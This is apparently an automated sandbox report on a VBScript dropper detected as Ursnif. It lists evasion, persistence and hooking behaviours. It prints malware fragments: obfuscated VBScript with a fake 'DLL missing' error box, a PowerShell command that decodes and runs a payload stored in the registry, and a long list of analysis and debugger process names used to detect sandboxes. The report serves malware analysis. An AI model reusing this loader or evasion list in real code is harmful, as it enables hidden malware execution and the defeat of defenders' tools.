Source:	Binary string: :C:\Users\user\AppData\Local\Temp\cshxvr3e\cshxvr3e.pdbXP=a source: powershell.exe, 00000016.00000002.885459267.00000200B1696000.00000004.00000001.sdmp
Source:	Binary string: c:\Led-Flower\Spell\cotton_point\please.pdb source: wscript.exe, 00000000.00000003.540443568.000001C497429000.00000004.00000001.sdmp, fum.cpp.0.dr
Source:	Binary string: :C:\Users\user\AppData\Local\Temp\cshxvr3e\cshxvr3e.pdb source: powershell.exe, 00000016.00000002.885375764.00000200B1621000.00000004.00000001.sdmp
Source:	Binary string: :C:\Users\user\AppData\Local\Temp\kuljoghz\kuljoghz.pdbXP=a source: powershell.exe, 00000016.00000002.885375764.00000200B1621000.00000004.00000001.sdmp
Source:	Binary string: ntdll.pdb source: rundll32.exe, 00000012.00000003.867779108.0000000005C00000.00000004.00000001.sdmp
Source:	Binary string: ntdll.pdbUGP source: rundll32.exe, 00000012.00000003.867779108.0000000005C00000.00000004.00000001.sdmp

Data Obfuscation:

VBScript performs obfuscated calls to suspicious functions

Show sources

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Sleep Int((Theodosian-AFQ+1)*Rnd+AFQ)REM diary character casework. 6326440 Fayetteville flaxen Doolittle Ballard backpack Alcoa loyal offertory Nicaragua axe Toni End WithEAX = MsgBox("Cant start because MSVCR101.dll is missing from your computer. Try reinstalling the program to fix this problem.", vbSystemModal+vbCritical, "System Error")Gnk("DEBUG: F_MESSAGE - True")REM bow megabyte plenitude aspirate stationery. handicapper nit frozen restaurateur Tennessee Millikan hark limerick Macedon camel Brandon hereunto disquisition plasm anatomic End FunctionFunction yNzk()Gnk("DEBUG: FS_PROCESS - Start")REM emboss indigestion surly rebuttal Kaskaskia upslope lightface stimulus vintner tabernacle male shy inhibit bravado mozzarella otherwise Gnk("DEBUG: FS_PROCESSCOUNT - Start")on error resume nextDim Theodosian,AFQTheodosian=6000' elongate conjoin protactinium monocular warplane riot rubidium bebop skyward contributory metabole stepchild lenticular rich fleabane Frisian AFQ=3000Randomize' thieving Kurt sovereign Simpson, anthropomorphic rhombic Monica loan transpose larch least farmhouse mercuric, tabletop hoosegow highboy camelopard WScript.Sleep Int((Theodosian-AFQ+1)*Rnd+AFQ)yDVFproc = ((((42 + (-27.0)) + 343.0) - 276.0) + (-82.0))wSQ = Array("frida-winjector-helper-64.exe","frida-winjector-helper-32.exe","pythonw.exe","pyw.exe","cmdvirth.exe","alive.exe","filewatcherservice.exe","ngvmsvc.exe","sandboxierpcss.exe","analyzer.exe","fortitracer.exe","nsverctl.exe","sbiectrl.exe","angar2.exe","goatcasper.exe","ollydbg.exe","sbiesvc.exe","apimonitor.exe","GoatClientApp.exe","peid.exe","scanhost.exe","apispy.exe","hiew32.exe","perl.exe","scktool.exe","apispy32.exe","hookanaapp.exe","petools.exe","sdclt.exe","asura.exe","hookexplorer.exe","pexplorer.exe","sftdcc.exe","autorepgui.exe","httplog.exe","ping.exe","shutdownmon.exe","autoruns.exe","icesword.exe","pr0c3xp.exe","sniffhit.exe","autorunsc.exe","iclicker-release.exe",".exe","prince.exe","snoop.exe","autoscreenshotter.exe","idag.exe","procanalyzer.exe","spkrmon.exe","avctestsuite.exe","idag64.exe","processhacker.exe","sysanalyzer.exe","avz.exe","idaq.exe","processmemdump.exe","syser.exe","behaviordumper.exe","immunitydebugger.exe","procexp.exe","systemexplorer.exe","bindiff.exe","importrec.exe","procexp64.exe","systemexplorerservice.exe","BTPTrayIcon.exe","imul.exe","procmon.exe","sython.exe","capturebat.exe","Infoclient.exe","procmon64.exe","taskmgr.exe","cdb.exe","installrite.exe","python.exe","taslogin.exe","ipfs.exe","pythonw.exe","tcpdump.exe","clicksharelauncher.exe","iprosetmonitor.exe","qq.exe","tcpview.exe","closepopup.exe","iragent.exe","qqffo.exe","timeout.exe","commview.exe","iris.exe","qqprotect.exe","totalcmd.exe","cports.exe","joeboxcontrol.exe","qqsg.exe","trojdie.kvpcrossfire.exe","joeboxserver.exe","raptorclient.exe","txplatform.exe","dnf.exe","lamer.exe","regmon.exe","virus.exe","dsniff.exe","LogHTTP.exe","regshot.exe","vx.exe","dumpcap.exe","lordpe.exe","RepMgr64.exe","win

Suspicious powershell command line found

Show sources

Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' iex ([System.Text.Encoding]::ASCII.GetString(( gp 'HKCU:Software\AppDataLow\Software\Microsoft\86EC23E5-2D5A-A875-E71A-B15C0BEE7550').UtilTool))
Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' iex ([System.Text.Encoding]::ASCII.GetString(( gp 'HKCU:Software\AppDataLow\Software\Microsoft\86EC23E5-2D5A-A875-E71A-B15C0BEE7550').UtilTool))

Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 18_2_00F27AB0 push ecx; ret
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 18_2_00F27E1F push ecx; ret
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 18_2_0575528F push ecx; ret

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 18_2_05745529 LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe 'C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe' /noconfig /fullpaths @'C:\Users\user\AppData\Local\Temp\kuljoghz\kuljoghz.cmdline'
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe 'C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe' /noconfig /fullpaths @'C:\Users\user\AppData\Local\Temp\cshxvr3e\cshxvr3e.cmdline'
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe 'C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe' /noconfig /fullpaths @'C:\Users\user\AppData\Local\Temp\kuljoghz\kuljoghz.cmdline'
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe 'C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe' /noconfig /fullpaths @'C:\Users\user\AppData\Local\Temp\cshxvr3e\cshxvr3e.cmdline'

Persistence and Installation Behavior:

Creates processes via WMI

Show sources

Source: C:\Windows\System32\wscript.exe

WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::create

Source: C:\Windows\System32\wscript.exe

File created: C:\Users\user\AppData\Local\Temp\fum.cpp

Jump to dropped file

Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	File created: C:\Users\user\AppData\Local\Temp\kuljoghz\kuljoghz.dll	Jump to dropped file
Source: C:\Windows\System32\wscript.exe	File created: C:\Users\user\AppData\Local\Temp\fum.cpp	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	File created: C:\Users\user\AppData\Local\Temp\cshxvr3e\cshxvr3e.dll	Jump to dropped file

Hooking and other Techniques for Hiding and Protection:

Yara detected Ursnif

Show sources

Source: Yara match	File source: 00000012.00000003.794954307.0000000005378000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000003.794836470.0000000005378000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000003.794735521.0000000005378000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000003.797221471.0000000005378000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000003.794770084.0000000005378000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000003.794874719.0000000005378000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000003.794800647.0000000005378000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000003.859811207.0000000005BE8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000003.794900142.0000000005378000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000003.794931081.0000000005378000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000003.801557253.000000000517C000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: rundll32.exe PID: 6704, type: MEMORYSTR
Source: Yara match	File source: 18.3.rundll32.exe.527a4a0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 18.3.rundll32.exe.527a4a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 18.3.rundll32.exe.5328d48.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 18.3.rundll32.exe.52f94a0.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000012.00000002.871947216.0000000004FFF000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000003.799908702.000000000527A000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000003.799937952.00000000052F9000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000016.00000002.890326064.00000200BE266000.00000004.00000001.sdmp, type: MEMORY

Hooks registry keys query functions (used to hide registry keys)

Show sources

Source: explorer.exe

IAT, EAT, inline or SSDT hook detected: function: api-ms-win-core-registry-l1-1-0.dll:RegGetValueW

Modifies the prolog of user mode functions (user mode inline hooks)

Show sources

Source: explorer.exe

User mode code has changed: module: KERNEL32.DLL function: CreateProcessAsUserW new code: 0xFF 0xF2 0x25 0x50 0x00 0x00

Deletes itself after installation

Show sources

Source: C:\Windows\System32\wscript.exe

File deleted: c:\users\user\desktop\sample.vbs

Jump to behavior

Modifies the export address table of user mode modules (user mode EAT hooks)

Show sources

Source: explorer.exe

IAT of a user mode module has changed: module: KERNEL32.DLL function: CreateProcessAsUserW address: 7FFD8893521C

Modifies the import address table of user mode modules (user mode IAT hooks)

Show sources

Source: explorer.exe

EAT of a user mode module has changed: module: user32.dll function: api-ms-win-core-processthreads-l1-1-0.dll:CreateProcessW address: 7FFD88935200

Source: C:\Windows\System32\wbem\WmiPrvSE.exe

Key value created or modified: HKEY_CURRENT_USER\Software\AppDataLow\Software\Microsoft\86EC23E5-2D5A-A875-E71A-B15C0BEE7550 UtilDate

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Registry key monitored for changes: HKEY_CURRENT_USER_Classes

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion:

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Show sources

Source: wscript.exe, 00000000.00000003.716309926.000001C4938DD000.00000004.00000001.sdmp	Binary or memory string: AUTORUNSC.EXE
Source: wscript.exe, 00000000.00000003.716129422.000001C4938E6000.00000004.00000001.sdmp	Binary or memory string: EMUL.EXE
Source: wscript.exe, 00000000.00000003.716280073.000001C4938A8000.00000004.00000001.sdmp	Binary or memory string: DEBUG: FS_CM - TRUESBIECTRL.EXE@
Source: wscript.exe, 00000000.00000003.716309926.000001C4938DD000.00000004.00000001.sdmp	Binary or memory string: SBIECTRL.EXE
Source: wscript.exe, 00000000.00000003.716309926.000001C4938DD000.00000004.00000001.sdmp	Binary or memory string: APISPY.EXE
Source: wscript.exe, 00000000.00000003.716129422.000001C4938E6000.00000004.00000001.sdmp	Binary or memory string: $FAKEHTTPSERVER.EXE
Source: wscript.exe, 00000000.00000003.716129422.000001C4938E6000.00000004.00000001.sdmp	Binary or memory string: REGMON.EXEIK
Source: wscript.exe, 00000000.00000003.716129422.000001C4938E6000.00000004.00000001.sdmp	Binary or memory string: WINDBG.EXE
Source: wscript.exe, 00000000.00000003.716280073.000001C4938A8000.00000004.00000001.sdmp	Binary or memory string: AUTORUNSC.EXEP
Source: wscript.exe, 00000000.00000003.716309926.000001C4938DD000.00000004.00000001.sdmp	Binary or memory string: SCKTOOL.EXE;HQ
Source: wscript.exe, 00000000.00000003.716280073.000001C4938A8000.00000004.00000001.sdmp	Binary or memory string: BEHAVIORDUMPER.EXE@Q
Source: wscript.exe, 00000000.00000003.716309926.000001C4938DD000.00000004.00000001.sdmp	Binary or memory string: IDAQ.EXET
Source: wscript.exe, 00000000.00000003.716129422.000001C4938E6000.00000004.00000001.sdmp	Binary or memory string: WINDUMP.EXE
Source: wscript.exe, 00000000.00000003.716280073.000001C4938A8000.00000004.00000001.sdmp	Binary or memory string: IMPORTREC.EXE@
Source: wscript.exe, 00000000.00000003.716280073.000001C4938A8000.00000004.00000001.sdmp	Binary or memory string: HOOKEXPLORER.EXE@
Source: wscript.exe, 00000000.00000003.716309926.000001C4938DD000.00000004.00000001.sdmp	Binary or memory string: SYSANALYZER.EXEA
Source: wscript.exe, 00000000.00000003.716280073.000001C4938A8000.00000004.00000001.sdmp	Binary or memory string: APISPY.EXE@
Source: wscript.exe, 00000000.00000003.716280073.000001C4938A8000.00000004.00000001.sdmp	Binary or memory string: IMUL.EXE@.8
Source: wscript.exe, 00000000.00000003.716309926.000001C4938DD000.00000004.00000001.sdmp	Binary or memory string: PETOOLS.EXEJ
Source: wscript.exe, 00000000.00000003.716129422.000001C4938E6000.00000004.00000001.sdmp	Binary or memory string: PROCMON.EXE
Source: wscript.exe, 00000000.00000003.716309926.000001C4938DD000.00000004.00000001.sdmp	Binary or memory string: HOOKEXPLORER.EXE
Source: wscript.exe, 00000000.00000003.716129422.000001C4938E6000.00000004.00000001.sdmp	Binary or memory string: NETSNIFFER.EXEK
Source: wscript.exe, 00000000.00000003.716280073.000001C4938A8000.00000004.00000001.sdmp	Binary or memory string: PEID.EXE@#Z
Source: wscript.exe, 00000000.00000003.716309926.000001C4938DD000.00000004.00000001.sdmp	Binary or memory string: AUTORUNS.EXE@
Source: wscript.exe, 00000000.00000003.716280073.000001C4938A8000.00000004.00000001.sdmp	Binary or memory string: HOOKANAAPP.EXE@
Source: wscript.exe, 00000000.00000003.716309926.000001C4938DD000.00000004.00000001.sdmp	Binary or memory string: IDAG.EXE:V
Source: wscript.exe, 00000000.00000003.716280073.000001C4938A8000.00000004.00000001.sdmp	Binary or memory string: SYSANALYZER.EXE@A
Source: wscript.exe, 00000000.00000003.716129422.000001C4938E6000.00000004.00000001.sdmp	Binary or memory string: REGSHOT.EXE
Source: wscript.exe, 00000000.00000003.716129422.000001C4938E6000.00000004.00000001.sdmp	Binary or memory string: WIRESHARK.EXE
Source: wscript.exe, 00000000.00000003.716280073.000001C4938A8000.00000004.00000001.sdmp	Binary or memory string: SCKTOOL.EXE(
Source: wscript.exe, 00000000.00000003.716309926.000001C4938DD000.00000004.00000001.sdmp	Binary or memory string: FORTITRACER.EXEA
Source: wscript.exe, 00000000.00000003.716280073.000001C4938A8000.00000004.00000001.sdmp	Binary or memory string: TCPDUMP.EXEP
Source: wscript.exe, 00000000.00000003.716280073.000001C4938A8000.00000004.00000001.sdmp	Binary or memory string: SBIESVC.EXE(
Source: wscript.exe, 00000000.00000003.716280073.000001C4938A8000.00000004.00000001.sdmp	Binary or memory string: PROCMON.EXE@
Source: wscript.exe, 00000000.00000003.716309926.000001C4938DD000.00000004.00000001.sdmp	Binary or memory string: SBIESVC.EXE
Source: wscript.exe, 00000000.00000003.716129422.000001C4938E6000.00000004.00000001.sdmp	Binary or memory string: IMPORTREC.EXE
Source: wscript.exe, 00000000.00000003.716129422.000001C4938E6000.00000004.00000001.sdmp	Binary or memory string: IMUL.EXE.8
Source: wscript.exe, 00000000.00000003.716309926.000001C4938DD000.00000004.00000001.sdmp	Binary or memory string: Q?$SANDBOXIERPCSS.EXEV5
Source: wscript.exe, 00000000.00000003.716280073.000001C4938A8000.00000004.00000001.sdmp	Binary or memory string: IDAG.EXE@:V
Source: wscript.exe, 00000000.00000003.716309926.000001C4938DD000.00000004.00000001.sdmp	Binary or memory string: :FRIDA-WINJECTOR-HELPER-32.EXE
Source: wscript.exe, 00000000.00000003.716280073.000001C4938A8000.00000004.00000001.sdmp	Binary or memory string: IDAQ.EXE
Source: wscript.exe, 00000000.00000003.716309926.000001C4938DD000.00000004.00000001.sdmp	Binary or memory string: PEID.EXE#Z
Source: wscript.exe, 00000000.00000003.716280073.000001C4938A8000.00000004.00000001.sdmp	Binary or memory string: OLLYDBG.EXE
Source: wscript.exe, 00000000.00000003.716280073.000001C4938A8000.00000004.00000001.sdmp	Binary or memory string: PETOOLS.EXE@J
Source: wscript.exe, 00000000.00000003.716280073.000001C4938A8000.00000004.00000001.sdmp	Binary or memory string: AUTORUNS.EXE
Source: wscript.exe, 00000000.00000003.716103963.000001C48F7B1000.00000004.00000001.sdmp	Binary or memory string: D"WINAPIOVERRIDE32.EXE","ETHEREAL.EXE","MBARUN.EXE","REPUX.EXE","WINDBG.EXE","ETTERCAP.EXE","MDPMON.EXE","RUNSAMPLE.EXE","WINDUMP.EXE","FAKEHTTPSERVER.EXE","MMR.EXE","SAMP1E.EXE","WINSPY.EXE","FAKESERVER.EXE","MMR.EXE","SAMPLE.EXE","WIRESHARK.EXE","FIDDLER.EXE","MULTIPOT.EXE","SANDBOXIECRYPTO.EXE","XXX.EXE","FILEMON.EXE","NETSNIFFER.EXE","SANDBOXIEDCOMLAUNCH.EXE")
Source: wscript.exe, 00000000.00000003.716309926.000001C4938DD000.00000004.00000001.sdmp	Binary or memory string: HOOKANAAPP.EXE
Source: wscript.exe, 00000000.00000003.716309926.000001C4938DD000.00000004.00000001.sdmp	Binary or memory string: :FRIDA-WINJECTOR-HELPER-64.EXE
